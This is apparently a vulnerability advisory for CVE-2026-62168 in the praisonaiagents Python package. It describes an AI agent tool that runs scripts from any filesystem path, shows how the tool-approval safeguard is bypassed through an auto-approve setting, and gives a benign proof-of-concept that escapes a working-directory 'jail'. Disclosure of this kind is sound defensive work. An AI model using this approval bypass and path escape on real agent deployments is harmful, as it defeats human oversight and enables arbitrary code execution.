PT-2026-108709 · Pypi · Praisonaiagents

CVE-2026-62168

·

Published

2026-10-08

·

Updated

2026-10-08

CVSS v3.1

8.1

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

SkillTools.run skill script() accepts a script path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has validate path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require approval decorator can be bypassed via YAML approve: for high-risk tools.

Details

src/praisonai-agents/praisonaiagents/tools/skill tools.py (lines 69-119):
python
def run skill script(self, script path: str, ...):
  script path = os.path.expanduser(script path)
  if not os.path.isabs(script path):
    script path = os.path.join(self. working directory, script path)
  script path = os.path.abspath(script path)

  if not os.path.exists(script path):
    return f"Error: Script not found at {script path}"

  # No path traversal check, no containment validation
  # Directly executes whatever is at that path:
  result = subprocess.run(cmd, ...)
By contrast, FileTools. validate path() (src/praisonai-agents/praisonaiagents/tools/file tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:
python
def validate path(self, filepath: str) -> str:
  # ...
  cwd = os.path.abspath(os.getcwd())
  if os.path.commonpath([absolute, cwd]) != cwd:
    raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")
SkillTools has no equivalent check.

PoC

python
import os, tempfile
from praisonaiagents.tools.skill tools import SkillTools

# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill jail ")

# Create a malicious script OUTSIDE the jail
attack script = os.path.join(tempfile.gettempdir(), "malicious skill.sh")
with open(attack script, 'w') as f:
  f.write("#!/bin/bash
")
  f.write("echo "PROOF OF EXPLOIT: Script executed outside jail"
")
  f.write("echo "USER: $(whoami)"
")
  f.write("echo "HOSTNAME: $(hostname)"
")
os.chmod(attack script, 0o755)

# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI AUTO APPROVE"] = "true"

st = SkillTools()
st. working directory = jail # Pretend we're confined

# Run script from OUTSIDE the jail — no path validation!
result = st.run skill script(attack script)
print(result)
# Output:
#  PROOF OF EXPLOIT: Script executed outside jail
#  USER: anushkavirgaonkar
#  HOSTNAME: Anushkas-MacBook-Pro-2.local

# Cleanup
del os.environ["PRAISONAI AUTO APPROVE"]
os.unlink(attack script)
os.rmdir(jail)
Tested result: The script at /tmp/malicious skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact

  • Arbitrary script execution: Run any script on the filesystem from any location
  • Chaining with file write: Write a malicious script via write file (YAML-approvable as a high-risk tool), then execute it via run skill script
  • Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges

Fix

Path traversal

OS Command Injection

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-22CWE-78

Related Identifiers

CVE-2026-62168
GHSA-C44F-37QR-GW3F

Affected Products

Praisonaiagents